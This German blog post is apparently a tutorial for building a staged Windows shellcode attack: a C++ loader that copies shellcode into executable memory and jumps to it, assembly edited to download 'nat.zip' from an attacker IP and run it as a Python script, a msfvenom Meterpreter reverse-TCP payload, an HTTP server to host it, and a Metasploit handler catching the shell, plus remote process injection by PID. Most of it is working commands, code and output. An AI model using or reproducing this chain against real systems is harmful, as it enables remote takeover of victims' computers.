In der Regel werden Shellcode Injections dazu benutzt, eine Reverse Shell zu initiieren. Jedoch kann es unter manchen Umständen nötig sein, den Code für die Shell erst im zweiten Schritt zu laden.

In diesem Blogpost zeige ich, wie wir eine Shellcode Injection nutzen können, um eine Datei mittels HTTP zu laden und anschließend auszuführen. ## Code

Als erstes brauchen wir ein kleines Programm, welches den Shellcode in den Speicher lädt und anschließend in diesen hineinspringt.

...
//buf ist der Shellcode
unsigned char buf[] =
"\xeb\x74\x31\...\x69\x70\x00";
 
int main(int argc, char** argv) {
...
    //Speicherbereich adressieren
	void* stage = VirtualAlloc(0, 0x1000, 0x1000, 0x40);
	void (*target)();
...
	//Shellcode in den Speicher verschieben
	memmove(stage, buf, 0x1000);
...
	//Verschiebe die Shellcode Adresse nach eax und springe dorthin
	__asm {
		mov eax, target
		jmp eax
	}
}

Den kompletten Code findet Ihr im Repository.

Einen gut dokumentierten Assembler Code finden wir im Repository von Stephen Bradshaw.

Der Code führt eine heruntergeladene VBS Datei aus. Wir wollen jedoch ein Python Script starten, welches eine Meterpreter Shell erzeugt. Hierzu ändern wir folgende Stellen:

;Zeile 143 / +7 markiert den Anfang des Dateinamens (WindowsAgent.py)
lea edx, [esi + 7]	
 
;Zeile 184 / Befehlszeile, die ausgeführt werden soll
db "python WindowsAgent.py", 0 
 
;Zeile 192 / Unsere URL
db "http://172.26.72.38/nat.zip", 0

Den Shellcode müssen wir als x86 Windows Binärdatei ausgeben. Dies machen wir mit nasm:

nasm -f win32 download.asm -o shellcode.o

Das Binary lassen wir uns nun C++ freundlich anzeigen:

objdump -D ./shellcode.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Die Ausgabe nutzen wir als Shellcode in unserem C++ Code und kompilieren unser Projekt.

Um den Shellcode zu verstehen, debuggen wir anschließend das Programm. Wir suchen den Aufruf der Funktion main()

Von main() aus suchen wir den Sprung in den Shellcode Speicherbereich. In unserem Programm haben wir diesen mit Inline Assembly realisiert: call eax. Dies sieht im Debugger so aus:

Springen wir nun rein, sehen wir unseren Shellcode:

Von hier aus können wir die Prozeduren verstehen und testen.

Wie Eingangs erwähnt, wollen wir eine Meterpreter Shell mittels Python erzeugen. Also benötigen wir einen entsprechenden Payload. Diesen erzeugen wir uns mit msfvenom.

msfvenom -p python/meterpreter/reverse_tcp LHOST=172.26.72.38 LPORT=4500 > payload.py

Der Shellcode lädt die Datei nat.zip von einem HTTP Server herunter, speichert diese als WindowsAgent.py und führt sie dann aus. Also bereiten wir dies entsprechend vor:

cp payload.py nat.zip
 
python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Zu guter Letzt benötigen wir noch einen Metasploit Handler, welcher unsere Shell entgegen nimmt. Dieser kann über das Script nosoc3.rc gestartet werden:

msf6 > resource nosoc3.rc
[*] Processing /home/kali/nosoc3.rc for ERB directives.
resource (/home/kali/nosoc3.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (/home/kali/nosoc3.rc)> set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
resource (/home/kali/nosoc3.rc)> set lhost 0.0.0.0
lhost => 0.0.0.0
resource (/home/kali/nosoc3.rc)> set lport 4500
lport => 4500
resource (/home/kali/nosoc3.rc)> run
 
[*] Started reverse TCP handler on 0.0.0.0:4500 

Nun ist alles bereit.

Starten wir nun das Programm auf dem Ziel PC.

Das Python Script wird heruntergeladen:

Und schließlich werden wir von einer Meterpreter Shell begrüßt:

Wir können den Shellcode natürlich auch in fremde Prozesse injizieren. Ein Beispielprogramm hierzu gibt es auch im Repository. Zum Starten muss die Ziel PID als Argument übergeben werden:

RemoteInject.exe 10001

git clone https://github.com/psycore8/nosoc-shellcode